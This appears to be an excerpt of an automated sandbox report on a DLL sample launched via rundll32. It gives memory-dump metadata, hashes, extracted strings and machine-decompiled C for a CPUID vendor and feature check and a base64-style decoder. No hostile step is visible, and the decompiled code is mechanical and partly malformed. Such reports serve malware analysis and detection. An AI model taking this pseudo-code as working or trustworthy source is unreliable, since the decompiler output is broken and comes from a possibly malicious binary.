std::ios_base::_Ios_base_dtor.LIBCPMT ref: 000007FEF4734D87
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 000007FEF4734E1F
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 000007FEF4734E6E

Strings

string too long, xrefs: 000007FEF4734705, 000007FEF4734712
Rdwmnjioffws, xrefs: 000007FEF4734AA0

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_$CreateDirectoryFileModuleNamePathTemp
String ID: Rdwmnjioffws$string too long
API String ID: 3154652006-2544937345
Opcode ID: 6ca1687fef13328fa2e6e2149c5558b60131d174d61db1098d97404f2c6cef0f
Instruction ID: 16e2e2f5977d92b49581827141d4bb25ac12f0be7ede007b5cba6bb14792512f
Opcode Fuzzy Hash: 6ca1687fef13328fa2e6e2149c5558b60131d174d61db1098d97404f2c6cef0f
Instruction Fuzzy Hash: B7828C22B09A81C9EBA0DF75C884BFC27A1F741798F504625DA1D5BAEADF78D295C300

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4733510 Relevance: 6.8, Strings: 5, Instructions: 521
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E000007FE7FEF4733510(intOrPtr __ebx, signed int __edx, void* __ebp, long long __rbx, unsigned int __rdi, long long __rsi, void* __r9) {
				void* _t112;
				intOrPtr _t156;
				intOrPtr _t159;
				signed int _t185;
				void* _t197;
				void* _t201;
				void* _t203;
				void* _t205;
				void* _t226;
				void* _t230;
				void* _t235;
				void* _t239;
				void* _t255;
				void* _t260;
				void* _t264;
				void* _t269;
				signed long long _t270;
				long long _t274;
				void* _t275;
				signed long long _t308;
				intOrPtr _t310;
				long long _t336;
				unsigned long long _t338;
				unsigned long long _t341;
				signed long long _t356;
				long long _t360;
				void* _t363;
				void* _t364;
				long long _t367;
				long long _t368;
				long long _t369;
				long long _t370;
				void* _t374;
				long long _t385;
				signed long long _t387;
				void* _t388;
				long long _t389;
				signed long long _t391;
				void* _t392;
				long long _t393;
				long long _t394;
				unsigned long long _t396;
				unsigned long long _t398;
				intOrPtr _t404;
				intOrPtr _t413;
				unsigned long long _t415;
				void* _t417;
				intOrPtr _t419;
				unsigned long long _t421;
				void* _t423;
				intOrPtr _t426;
				intOrPtr _t431;
				intOrPtr _t432;
				intOrPtr _t433;
				intOrPtr _t435;
				void* _t437;

				_t360 = __rsi;
				_t356 = __rdi;
				_t159 = __ebx;
				_t269 = _t364;
				_t363 = _t269 - 0x5f;
				 *((long long*)(_t363 - 0x49)) = 0xfffffffe;
				 *((long long*)(_t269 + 8)) = __rbx;
				 *((long long*)(_t269 + 0x10)) = __rsi;
				 *((long long*)(_t269 + 0x18)) = __rdi;
				_t270 =  *0xf4777530; // 0xf9634ebbaa1d
				 *(_t363 + 0x37) = _t270 ^ _t364 - 0x000000d0;
				 *((long long*)(_t363 - 0x59)) = 0xf477b0b0;
				 *0xf477b0b4 = 0;
				 *0xf477b0d0 = 0xf;
				 *0xf477b0c8 = __rdi;
				 *0xf477b0b8 = dil;
				 *0xf477b0f0 = 0xf;
				 *0xf477b0e8 = __rdi;
				 *0xf477b0d8 = dil;
				 *0xf477b0f8 = 0;
				 *0xf477b0fc = __rdi;
				 *0xf477b104 = __rdi;
				 *0xf477b10c = __rdi;
				r9d = 0;
				 *0xf477b118 = __rdi;
				asm("xorps xmm0, xmm0");
				asm("movdqa [0x47b65], xmm0");
				asm("movdqa [0x47b6d], xmm0");
				 *0xf477b140 = __rdi;
				asm("cpuid");
				 *((intOrPtr*)(_t363 - 0x3d)) = __ebx;
				 *((intOrPtr*)(_t363 - 0x39)) = 0;
				 *(_t363 - 0x35) = __edx;
				 *0xf477b0b0 = 0;
				if (0 < 0) goto 0xf47336a5;
				_t367 =  *0xf477b120; // 0x1ede10
				asm("cpuid");
				 *((intOrPtr*)(_t363 - 0x41)) = 0;
				 *((intOrPtr*)(_t363 - 0x3d)) = __ebx;
				 *((intOrPtr*)(_t363 - 0x39)) = 0;
				 *(_t363 - 0x35) = __edx;
				if (_t363 - 0x41 - _t367 >= 0) goto 0xf473364e;
				_t274 = _t363 - 0x41;
				if (__r9 - _t274 > 0) goto 0xf473364e;
				_t308 = _t363 - 0x41 - __r9;
				_t201 = _t367 -  *0xf477b128; // 0x1ede60
				if (_t201 != 0) goto 0xf473363e;
				_t112 = E000007FE7FEF473CE30(0, 0xf477b118);
				_t368 =  *0xf477b120; // 0x1ede10
				if (_t368 == 0) goto 0xf473368c;
				asm("inc edx");
				goto 0xf473367a;
				_t203 = _t368 -  *0xf477b128; // 0x1ede60
				if (_t203 != 0) goto 0xf4733671;
				E000007FE7FEF473CE30(_t112, 0xf477b118);
				_t369 =  *0xf477b120; // 0x1ede10
				if (_t369 == 0) goto 0xf473368c;
				asm("movups xmm0, [ebp-0x41]");
				asm("inc ecx");
				_t370 =  *0xf477b120; // 0x1ede10
				_t404 =  *0xf477b118; // 0x1edca0
				 *0xf477b120 = _t370 + 0x10;
				_t205 = 1 -  *0xf477b0b0; // 0x16
				if (_t205 <= 0) goto 0xf47335f0;
				 *((long long*)(_t363 - 0x31)) = _t274;
				 *((long long*)(_t363 - 0x29)) = _t274;
				 *((long long*)(_t363 - 0x21)) = _t274;
				 *((long long*)(_t363 - 0x19)) = _t274;
				 *((intOrPtr*)(_t363 - 0x31)) =  *((intOrPtr*)(_t404 + 4));
				 *((intOrPtr*)(_t363 - 0x2d)) =  *((intOrPtr*)(_t404 + 0xc));
				 *((intOrPtr*)(_t363 - 0x29)) =  *((intOrPtr*)(_t404 + 8));
				if ( *((char*)(_t363 - 0x31)) != 0) goto 0xf47336d7;
				goto 0xf47336ea;
				_t275 = _t363 - 0x31;
				_t374 = (__rdi | 0xffffffff) + 1;
				if ( *((char*)(_t275 + _t374)) != 0) goto 0xf47336e0;
				E000007FE7FEF4722D50(_t308 & 0xfffffff0, 0xf477b0b8, _t363 - 0x31, __rsi, _t374);
				_t310 =  *0xf477b0c8; // 0xc
				_t331 =  >=  ?  *0xf477b0b8 : 0xf477b0b8;
				r8d = 0xc;
				_t375 =  <  ? _t310 : _t374;
				_t210 =  <  ? _t310 : _t374;
				if (( <  ? _t310 : _t374) != 0) goto 0xf473372f;
				goto 0xf473373b;
				E000007FE7FEF474FB30(0,  >=  ?  *0xf477b0b8 : 0xf477b0b8, "GenuineIntel",  <  ? _t310 : _t374);
				if (_t275 != 0) goto 0xf4733754;
				if (_t310 - _t360 >= 0) goto 0xf473374c;
				goto 0xf4733754;
				r13d = 1;
				if ((0 | _t310 != _t360) != 0) goto 0xf4733767;
				 *0xf477b0f8 = r13b;
				goto 0xf47337c7;
				_t439 =  >=  ?  *0xf477b0b8 : 0xf477b0b8;
				_t361 =  <  ? _t310 : _t360;
				if (( <  ? _t310 : _t360) != 0) goto 0xf4733787;
				goto 0xf4733799;
				_t332 =  >=  ?  *0xf477b0b8 : 0xf477b0b8;
				E000007FE7FEF474FB30(0,  >=  ?  *0xf477b0b8 : 0xf477b0b8, "AuthenticAMD",  <  ? _t310 : _t360);
				if (_t275 != 0) goto 0xf47337b4;
				if (_t310 - 0xc >= 0) goto 0xf47337ab;
				goto 0xf47337b4;
				_t132 =  ==  ? r13d :  *0xf477b0f9 & 0x000000ff;
				 *0xf477b0f9 =  ==  ? r13d :  *0xf477b0f9 & 0x000000ff;
				_t431 =  *0xf477b118; // 0x1edca0
				r11d =  *0xf477b0b0; // 0x16
				if (r11d - r13d < 0) goto 0xf473389e;
				 *((intOrPtr*)(_t363 - 0x69)) = 0;
				if ( *(_t431 + 0x18) == 0) goto 0xf4733838;
				if (__rdi - 0x20 >= 0) goto 0xf4733835;
				if ((r13b & r9b) == 0) goto 0xf473381e;
				_t226 = __rdi - 0x20;
				if (_t226 >= 0) goto 0xf4733828;
				_t40 = _t363 - 0x69; // -104
				 *(_t40 + (__rdi >> 5) * 4) =  *(_t40 + (__rdi >> 5) * 4) | r13d << (r8b & 0x1f);
				if (_t226 == 0) goto 0xf4733835;
				goto 0xf47337f0;
				E000007FE7FEF47589E0(r8b & 0x1f, r13d << (r8b & 0x1f), 0, _t197, _t226, __rdi >> 5, _t40 + (__rdi >> 5) * 4, "invalid bitset<N> position", __rdi,  <  ? _t310 : _t360, __rdi + 1,  *(_t431 + 0x18) >> 1);
				asm("int3");
				 *0xf477b0fc =  *((intOrPtr*)(_t363 - 0x69));
				 *((intOrPtr*)(_t363 - 0x69)) = 0;
				if ( *(_t431 + 0x1c) == 0) goto 0xf4733898;
				if (__rdi - 0x20 >= 0) goto 0xf4733895;
				if ((r13b & r9b) == 0) goto 0xf473387e;
				_t230 = __rdi - 0x20;
				if (_t230 >= 0) goto 0xf4733888;
				_t48 = _t363 - 0x69; // -104
				 *(_t48 + (__rdi >> 5) * 4) =  *(_t48 + (__rdi >> 5) * 4) | r13d << (r8b & 0x1f);
				if (_t230 == 0) goto 0xf4733895;
				goto 0xf4733850;
				E000007FE7FEF47589E0(r8b & 0x1f, r13d << (r8b & 0x1f), 0, _t197, _t230, __rdi >> 5, _t48 + (__rdi >> 5) * 4, "invalid bitset<N> position", __rdi,  <  ? _t310 : _t360, __rdi + 1,  *(_t431 + 0x1c) >> 1);
				asm("int3");
				 *0xf477b100 =  *((intOrPtr*)(_t363 - 0x69));
				if (r11d - 7 < 0) goto 0xf473396e;
				 *((intOrPtr*)(_t363 - 0x69)) = 0;
				if ( *(_t431 + 0x74) == 0) goto 0xf4733908;
				if (__rdi - 0x20 >= 0) goto 0xf4733905;
				if ((r13b & r9b) == 0) goto 0xf47338ee;
				_t235 = __rdi - 0x20;
				if (_t235 >= 0) goto 0xf47338f8;
				_t56 = _t363 - 0x69; // -104
				 *(_t56 + (__rdi >> 5) * 4) =  *(_t56 + (__rdi >> 5) * 4) | r13d << (r8b & 0x1f);
				if (_t235 == 0) goto 0xf4733905;
				goto 0xf47338c0;
				E000007FE7FEF47589E0(r8b & 0x1f, r13d << (r8b & 0x1f), 0, _t197, _t235, __rdi >> 5, _t56 + (__rdi >> 5) * 4, "invalid bitset<N> position", __rdi,  <  ? _t310 : _t360, __rdi + 1,  *(_t431 + 0x74) >> 1);
				asm("int3");
				 *0xf477b104 =  *((intOrPtr*)(_t363 - 0x69));
				 *((intOrPtr*)(_t363 - 0x69)) = 0;
				if ( *(_t431 + 0x78) == 0) goto 0xf4733968;
				if (__rdi - 0x20 >= 0) goto 0xf4733965;
				if ((r13b & r9b) == 0) goto 0xf473394e;
				_t239 = __rdi - 0x20;
				if (_t239 >= 0) goto 0xf4733958;
				_t64 = _t363 - 0x69; // -104
				_t185 = r13d << (r8b & 0x1f);
				 *(_t64 + (__rdi >> 5) * 4) =  *(_t64 + (__rdi >> 5) * 4) | _t185;
				if (_t239 == 0) goto 0xf4733965;
				goto 0xf4733920;
				_t336 = "invalid bitset<N> position";
				E000007FE7FEF47589E0(r8b & 0x1f, _t185, 0, _t197, _t239, __rdi >> 5, _t64 + (__rdi >> 5) * 4, _t336, __rdi,  <  ? _t310 : _t360, __rdi + 1,  *(_t431 + 0x78) >> 1);
				asm("int3");
				 *0xf477b108 =  *((intOrPtr*)(_t363 - 0x69));
				asm("cpuid");
				 *((intOrPtr*)(_t363 - 0x3d)) = _t159;
				 *((intOrPtr*)(_t363 - 0x39)) = 0;
				 *(_t363 - 0x35) = _t185;
				 *0xf477b0b4 = 0x80000000;
				 *((long long*)(_t363 - 9)) = _t336;
				 *((long long*)(_t363 - 1)) = _t336;
				 *((long long*)(_t363 + 7)) = _t336;
				 *((long long*)(_t363 + 0xf)) = _t336;
				 *((long long*)(_t363 + 0x17)) = _t336;
				 *((long long*)(_t363 + 0x1f)) = _t336;
				 *((long long*)(_t363 + 0x27)) = _t336;
				 *((long long*)(_t363 + 0x2f)) = _t336;
				_t432 =  *0xf477b130; // 0x1ee290
				if (0x80000000 - 0x80000000 < 0) goto 0xf4733b61;
				_t413 =  *0xf477b140; // 0x1ee320
				_t385 =  *0xf477b138; // 0x1ee320
				asm("cpuid");
				 *((intOrPtr*)(_t363 - 0x41)) = 0x80000000;
				 *((intOrPtr*)(_t363 - 0x3d)) = _t159;
				 *((intOrPtr*)(_t363 - 0x39)) = 0;
				 *(_t363 - 0x35) = _t185;
				_t83 = _t363 - 0x41; // -64
				if (_t83 - _t385 >= 0) goto 0xf4733a93;
				_t84 = _t363 - 0x41; // -64
				if (_t432 - _t84 > 0) goto 0xf4733a93;
				_t85 = _t363 - 0x41; // -64
				if (_t385 != _t413) goto 0xf4733a7c;
				if (_t413 - _t385 >> 4 - _t437 >= 0) goto 0xf4733a7c;
				_t387 = _t385 - _t432 >> 4;
				if (0xffffffff - _t387 - _t437 < 0) goto 0xf4733b47;
				_t388 = _t387 + 1;
				_t415 = _t413 - _t432 >> 4;
				_t338 = _t415 >> 1;
				if (0xffffffff - _t338 - _t415 >= 0) goto 0xf4733a4e;
				goto 0xf4733a51;
				_t417 = __rdi + _t338;
				_t418 =  <  ? _t388 : _t417;
				_t353 =  <  ? _t388 : _t417;
				E000007FE7FEF472A130(0xf477b130,  <  ? _t388 : _t417, __rdi);
				_t419 =  *0xf477b140; // 0x1ee320
				_t389 =  *0xf477b138; // 0x1ee320
				_t433 =  *0xf477b130; // 0x1ee290
				if (_t389 == 0) goto 0xf4733b2d;
				asm("inc edx");
				goto 0xf4733b14;
				if (_t389 != _t419) goto 0xf4733b0b;
				if (_t419 - _t389 >> 4 - _t437 >= 0) goto 0xf4733b0b;
				_t391 = _t389 - _t433 >> 4;
				if (0xffffffff - _t391 - _t437 < 0) goto 0xf4733b54;
				_t392 = _t391 + 1;
				_t421 = _t419 - _t433 >> 4;
				_t341 = _t421 >> 1;
				if (0xffffffff - _t341 - _t421 >= 0) goto 0xf4733add;
				goto 0xf4733ae0;
				_t423 = _t356 + _t341;
				_t424 =  <  ? _t392 : _t423;
				_t354 =  <  ? _t392 : _t423;
				E000007FE7FEF472A130(0xf477b130,  <  ? _t392 : _t423, _t356);
				_t393 =  *0xf477b138; // 0x1ee320
				if (_t393 == 0) goto 0xf4733b2d;
				asm("movups xmm0, [ebp-0x41]");
				asm("inc ecx");
				_t426 =  *0xf477b140; // 0x1ee320
				_t435 =  *0xf477b130; // 0x1ee290
				_t394 =  *0xf477b138; // 0x1ee320
				 *0xf477b138 = _t394 + 0x10;
				_t255 = 0x80000001 -  *0xf477b0b4; // 0x80000008
				if (_t255 > 0) goto 0xf4733b61;
				goto 0xf47339d1;
				E000007FE7FEF47589A8(0, _t185, 0, _t197, _t255, 0xffffffff - _t341, _t85 - _t432 & 0xfffffff0, "vector<T> too long", _t356, _t361, _t394 + 0x10, _t426);
				asm("int3");
				E000007FE7FEF47589A8(0, _t185, 0, _t197, _t255, 0xffffffff - _t341, _t85 - _t432 & 0xfffffff0, "vector<T> too long", _t356, _t361, _t394 + 0x10, _t426);
				asm("int3");
				if ( *0xf477b0b4 - 0x80000001 < 0) goto 0xf4733c2f;
				 *((intOrPtr*)(_t363 - 0x69)) = 0;
				_t396 = _t356;
				if ( *(_t435 + 0x18) == 0) goto 0xf4733bca;
				if (_t396 - 0x20 >= 0) goto 0xf4733bc7;
				if ((r13b & r9b) == 0) goto 0xf4733bb0;
				_t260 = _t396 - 0x20;
				if (_t260 >= 0) goto 0xf4733bba;
				_t90 = _t363 - 0x69; // -104
				 *(_t90 + (_t396 >> 5) * 4) =  *(_t90 + (_t396 >> 5) * 4) | r13d << (r8b & 0x1f);
				if (_t260 == 0) goto 0xf4733bc7;
				goto 0xf4733b82;
				E000007FE7FEF47589E0(r8b & 0x1f, r13d << (r8b & 0x1f), 0, _t197, _t260, _t396 >> 5, _t90 + (_t396 >> 5) * 4, "invalid bitset<N> position", _t356, _t361, _t396 + 1,  *(_t435 + 0x18) >> 1);
				asm("int3");
				 *0xf477b10c =  *((intOrPtr*)(_t363 - 0x69));
				 *((intOrPtr*)(_t363 - 0x69)) = 0;
				_t398 = _t356;
				if ( *(_t435 + 0x1c) == 0) goto 0xf4733c29;
				if (_t398 - 0x20 >= 0) goto 0xf4733c26;
				if ((r13b & r9b) == 0) goto 0xf4733c0f;
				_t264 = _t398 - 0x20;
				if (_t264 >= 0) goto 0xf4733c19;
				_t98 = _t363 - 0x69; // -104
				 *(_t98 + (_t398 >> 5) * 4) =  *(_t98 + (_t398 >> 5) * 4) | r13d << (r8b & 0x1f);
				if (_t264 == 0) goto 0xf4733c26;
				goto 0xf4733be1;
				E000007FE7FEF47589E0(r8b & 0x1f, r13d << (r8b & 0x1f), 0, _t197, _t264, _t398 >> 5, _t98 + (_t398 >> 5) * 4, "invalid bitset<N> position", _t356, _t361, _t398 + 1,  *(_t435 + 0x1c) >> 1);
				asm("int3");
				_t156 =  *((intOrPtr*)(_t363 - 0x69));
				 *0xf477b110 = _t156;
				if ( *0xf477b0b4 - 0x80000004 < 0) goto 0xf4733c84;
				asm("inc ecx");
				asm("movaps [ebp-0x9], xmm1");
				asm("inc ecx");
				asm("movaps [ebp+0x7], xmm0");
				asm("inc ecx");
				asm("movaps [ebp+0x17], xmm0");
				asm("dec ax");
				if (_t156 == 0) goto 0xf4733c70;
				_t102 = _t363 - 9; // -8
				if ( *((char*)(_t102 + (_t356 | 0xffffffff) + 1)) != 0) goto 0xf4733c67;
				_t104 = _t363 - 9; // -8
				E000007FE7FEF4722D50(_t98 + (_t398 >> 5) * 4, 0xf477b0d8, _t104, _t361, (_t356 | 0xffffffff) + 1);
				return E000007FE7FEF4740F90(r8b & 0x1f, 0, 0x80000001, _t197,  *(_t363 + 0x37) ^ _t364 - 0x000000d0, _t104, (_t356 | 0xffffffff) + 1);
			}

0x7fef4733510
0x7fef4733510
0x7fef4733510
0x7fef4733510
0x7fef4733518
0x7fef4733523
0x7fef473352b
0x7fef473352f
0x7fef4733533
0x7fef4733537
0x7fef4733541
0x7fef473354c
0x7fef4733552
0x7fef4733558
0x7fef4733563
0x7fef473356a
0x7fef4733571
0x7fef473357c
0x7fef4733583
0x7fef473358a
0x7fef4733591
0x7fef4733598
0x7fef473359f
0x7fef47335a6
0x7fef47335a9
0x7fef47335b0
0x7fef47335b3
0x7fef47335bb
0x7fef47335c3
0x7fef47335ce
0x7fef47335d0
0x7fef47335d3
0x7fef47335d6
0x7fef47335d9
0x7fef47335e3
0x7fef47335e9
0x7fef47335f4
0x7fef47335f6
0x7fef47335f9
0x7fef47335fc
0x7fef47335ff
0x7fef4733609
0x7fef473360b
0x7fef4733612
0x7fef4733618
0x7fef473361b
0x7fef4733622
0x7fef473362b
0x7fef4733630
0x7fef4733645
0x7fef4733647
0x7fef473364c
0x7fef473364e
0x7fef4733655
0x7fef473365e
0x7fef4733663
0x7fef4733674
0x7fef4733676
0x7fef473367a
0x7fef473367e
0x7fef4733685
0x7fef4733690
0x7fef4733699
0x7fef473369f
0x7fef47336a7
0x7fef47336ab
0x7fef47336af
0x7fef47336b3
0x7fef47336bb
0x7fef47336c2
0x7fef47336c9
0x7fef47336d0
0x7fef47336d5
0x7fef47336d7
0x7fef47336e0
0x7fef47336e8
0x7fef47336f8
0x7fef47336fd
0x7fef473370f
0x7fef473371c
0x7fef4733722
0x7fef4733726
0x7fef4733729
0x7fef473372d
0x7fef4733736
0x7fef4733740
0x7fef4733745
0x7fef473374a
0x7fef4733754
0x7fef473375c
0x7fef473375e
0x7fef4733765
0x7fef473376f
0x7fef473377a
0x7fef4733781
0x7fef4733785
0x7fef4733791
0x7fef4733794
0x7fef473379e
0x7fef47337a4
0x7fef47337a9
0x7fef47337bd
0x7fef47337c1
0x7fef47337c7
0x7fef47337ce
0x7fef47337d8
0x7fef47337e4
0x7fef47337ed
0x7fef47337f4
0x7fef47337f9
0x7fef47337fb
0x7fef47337ff
0x7fef4733808
0x7fef473381c
0x7fef4733824
0x7fef4733826
0x7fef473382f
0x7fef4733834
0x7fef4733838
0x7fef4733844
0x7fef473384d
0x7fef4733854
0x7fef4733859
0x7fef473385b
0x7fef473385f
0x7fef4733868
0x7fef473387c
0x7fef4733884
0x7fef4733886
0x7fef473388f
0x7fef4733894
0x7fef4733898
0x7fef47338a2
0x7fef47338ae
0x7fef47338b7
0x7fef47338c4
0x7fef47338c9
0x7fef47338cb
0x7fef47338cf
0x7fef47338d8
0x7fef47338ec
0x7fef47338f4
0x7fef47338f6
0x7fef47338ff
0x7fef4733904
0x7fef4733908
0x7fef4733914
0x7fef473391d
0x7fef4733924
0x7fef4733929
0x7fef473392b
0x7fef473392f
0x7fef4733938
0x7fef473394a
0x7fef473394c
0x7fef4733954
0x7fef4733956
0x7fef4733958
0x7fef473395f
0x7fef4733964
0x7fef4733968
0x7fef4733977
0x7fef4733979
0x7fef473397c
0x7fef473397f
0x7fef4733982
0x7fef473398a
0x7fef473398e
0x7fef4733992
0x7fef4733996
0x7fef473399a
0x7fef473399e
0x7fef47339a2
0x7fef47339a6
0x7fef47339aa
0x7fef47339b3
0x7fef47339c3
0x7fef47339ca
0x7fef47339d5
0x7fef47339d7
0x7fef47339da
0x7fef47339dd
0x7fef47339e0
0x7fef47339e3
0x7fef47339ea
0x7fef47339f0
0x7fef47339f7
0x7fef47339fd
0x7fef4733a07
0x7fef4733a16
0x7fef4733a1b
0x7fef4733a28
0x7fef4733a2e
0x7fef4733a34
0x7fef4733a3b
0x7fef4733a47
0x7fef4733a4c
0x7fef4733a4e
0x7fef4733a54
0x7fef4733a58
0x7fef4733a62
0x7fef4733a67
0x7fef4733a6e
0x7fef4733a75
0x7fef4733a83
0x7fef4733a89
0x7fef4733a8e
0x7fef4733a96
0x7fef4733aa5
0x7fef4733aaa
0x7fef4733ab7
0x7fef4733abd
0x7fef4733ac3
0x7fef4733aca
0x7fef4733ad6
0x7fef4733adb
0x7fef4733add
0x7fef4733ae3
0x7fef4733ae7
0x7fef4733af1
0x7fef4733afd
0x7fef4733b0e
0x7fef4733b10
0x7fef4733b14
0x7fef4733b18
0x7fef4733b1f
0x7fef4733b26
0x7fef4733b31
0x7fef4733b3a
0x7fef4733b40
0x7fef4733b42
0x7fef4733b4e
0x7fef4733b53
0x7fef4733b5b
0x7fef4733b60
0x7fef4733b6b
0x7fef4733b77
0x7fef4733b7a
0x7fef4733b80
0x7fef4733b86
0x7fef4733b8b
0x7fef4733b8d
0x7fef4733b91
0x7fef4733b9a
0x7fef4733bae
0x7fef4733bb6
0x7fef4733bb8
0x7fef4733bc1
0x7fef4733bc6
0x7fef4733bca
0x7fef4733bd6
0x7fef4733bd9
0x7fef4733bdf
0x7fef4733be5
0x7fef4733bea
0x7fef4733bec
0x7fef4733bf0
0x7fef4733bf9
0x7fef4733c0d
0x7fef4733c15
0x7fef4733c17
0x7fef4733c20
0x7fef4733c25
0x7fef4733c26
0x7fef4733c29
0x7fef4733c39
0x7fef4733c3b
0x7fef4733c40
0x7fef4733c44
0x7fef4733c49
0x7fef4733c4d
0x7fef4733c52
0x7fef4733c56
0x7fef4733c5d
0x7fef4733c5f
0x7fef4733c6e
0x7fef4733c73
0x7fef4733c7e
0x7fef4733cb3

Strings

vector<T> too long, xrefs: 000007FEF4733B47, 000007FEF4733B54
AuthenticAMD, xrefs: 000007FEF473378A
invalid bitset<N> position, xrefs: 000007FEF4733828, 000007FEF4733888, 000007FEF47338F8, 000007FEF4733958, 000007FEF4733BBA, 000007FEF4733C19
GenuineIntel, xrefs: 000007FEF473372F
GenuineIntel, xrefs: 000007FEF47336EE

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID:
String ID: AuthenticAMD$GenuineIntel$GenuineIntel$invalid bitset<N> position$vector<T> too long
API String ID: 0-1087162988
Opcode ID: 5b25de5d1e30f809ecdbc22cd19265592410e360fd0492062a08441f34c5817a
Instruction ID: a3a9d2bd56f6fb4a759793a8375681654685555e32d89279ed770a8dad3e393b
Opcode Fuzzy Hash: 5b25de5d1e30f809ecdbc22cd19265592410e360fd0492062a08441f34c5817a
Instruction Fuzzy Hash: 07226971F0EB4ACAFBA08B65D844BF833E1A315798F844526DA1D976F4DB3CA664C340

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF47223E0 Relevance: 4.9, APIs: 2, Strings: 1, Instructions: 366
COMMONCrypto

Download Yara Rule

C-Code - Quality: 76%

			E000007FE7FEF47223E0(long long __rbx, signed long long* __rcx, void* __rdx, long long _a24) {
				signed int _v64;
				char _v72;
				char _v78;
				char _v79;
				char _v80;
				long long _v88;
				long long _v96;
				char _v100;
				intOrPtr _v101;
				signed int _v102;
				signed int _v103;
				signed int _v104;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t96;
				signed char _t102;
				signed int _t105;
				signed char _t110;
				signed char _t114;
				signed char _t119;
				void* _t128;
				void* _t155;
				signed long long _t182;
				signed long long _t183;
				intOrPtr _t190;
				intOrPtr _t193;
				signed int _t196;
				intOrPtr* _t197;
				signed long long _t204;
				signed long long _t212;
				intOrPtr* _t217;
				intOrPtr _t220;
				signed long long _t225;
				signed long long _t233;
				char* _t237;
				signed long long _t243;
				intOrPtr _t244;
				intOrPtr* _t247;
				char* _t251;
				intOrPtr _t258;
				unsigned long long _t259;
				signed int* _t262;
				intOrPtr _t263;
				unsigned long long _t264;
				intOrPtr _t267;
				unsigned long long _t268;
				char* _t271;
				intOrPtr _t272;
				unsigned long long _t273;
				void* _t276;
				void* _t279;
				signed char* _t280;
				signed char* _t286;
				void* _t288;
				void* _t289;
				intOrPtr _t291;
				void* _t292;
				void* _t297;
				void* _t298;
				intOrPtr _t301;
				unsigned long long _t303;
				intOrPtr _t304;
				unsigned long long _t306;
				intOrPtr _t308;
				unsigned long long _t310;
				intOrPtr _t311;
				unsigned long long _t313;
				void* _t314;
				void* _t318;
				void* _t319;

				_t297 = _t298;
				_v88 = 0xfffffffe;
				_a24 = __rbx;
				_t182 =  *0xf4777530; // 0xf9634ebbaa1d
				_t183 = _t182 ^ _t298 - 0x00000050;
				_v64 = _t183;
				_t217 = __rcx;
				_v96 = __rcx;
				_v100 = 0;
				r13d = 0;
				 *__rcx = _t183;
				__rcx[1] = _t183;
				__rcx[2] = _t183;
				_v100 = 1;
				if (r12d == 0) goto 0xf4722888;
				r15d = 0;
				r12d = r12d - 1;
				_t220 =  *((intOrPtr*)(__rdx + 0x18));
				if (_t220 - 0x10 < 0) goto 0xf4722462;
				goto 0xf4722465;
				if ( *(_t318 + __rdx) == 0x3d) goto 0xf4722658;
				if (_t220 - 0x10 < 0) goto 0xf472247b;
				goto 0xf472247e;
				if (E000007FE7FEF47415EC(_t96,  *(_t318 + __rdx) & 0x000000ff) != 0) goto 0xf472249c;
				dil = dil - 0x2b;
				if ((dil & 0x000000fb) != 0) goto 0xf4722658;
				if ( *((long long*)(__rdx + 0x18)) - 0x10 < 0) goto 0xf47224a8;
				goto 0xf47224ab;
				 *((char*)(_t297 + _t288 - 0x30)) =  *(_t318 + __rdx) & 0x000000ff;
				r13d = r13d + 1;
				_t289 = _t288 + 1;
				_t319 = _t318 + 1;
				if (_t289 != 4) goto 0xf4722634;
				_v72 =  *(_t297 + _t276 - 0x30) & 0x000000ff;
				 *(_t297 + _t276 - 0x30) = E000007FE7FEF4722CA0(__rdx, _t217,  &_v72, _t289, _t297);
				if (_t276 + 1 - 4 < 0) goto 0xf47224d0;
				_t114 = _v103 & 0x000000ff;
				_v80 = ((_t114 & 0x000000ff) >> 0x00000004 & 0x00000003) + ((_v104 & 0x000000ff) << 2);
				_t102 = _v102 & 0x000000ff;
				_v79 = ((_t102 & 0x000000ff) >> 0x00000002 & 0x0000000f) + (_t114 << 4);
				_v78 = (_t102 << 6) + _v101;
				asm("o16 nop [eax+eax]");
				_t190 =  *((intOrPtr*)(_t217 + 8));
				_t279 =  &_v80 + _t289;
				if (_t279 - _t190 >= 0) goto 0xf47225b8;
				_t301 =  *_t217;
				if (_t301 - _t279 > 0) goto 0xf47225b8;
				_t280 = _t279 - _t301;
				_t258 =  *((intOrPtr*)(_t217 + 0x10));
				if (_t190 != _t258) goto 0xf47225a4;
				if (_t258 - _t190 - 1 >= 0) goto 0xf47225a4;
				_t225 = _t301 - _t190 - 1;
				if (_t225 - 1 < 0) goto 0xf472263e;
				_t259 = _t258 - _t301;
				_t303 = _t259 >> 1;
				if ((_t225 | 0xffffffff) - _t303 - _t259 >= 0) goto 0xf4722592;
				goto 0xf4722595;
				_t261 =  <  ? _t190 - _t301 + 1 : _t259 + _t303;
				E000007FE7FEF4723040(_t190 - _t301 + 1, _t217,  <  ? _t190 - _t301 + 1 : _t259 + _t303, _t297);
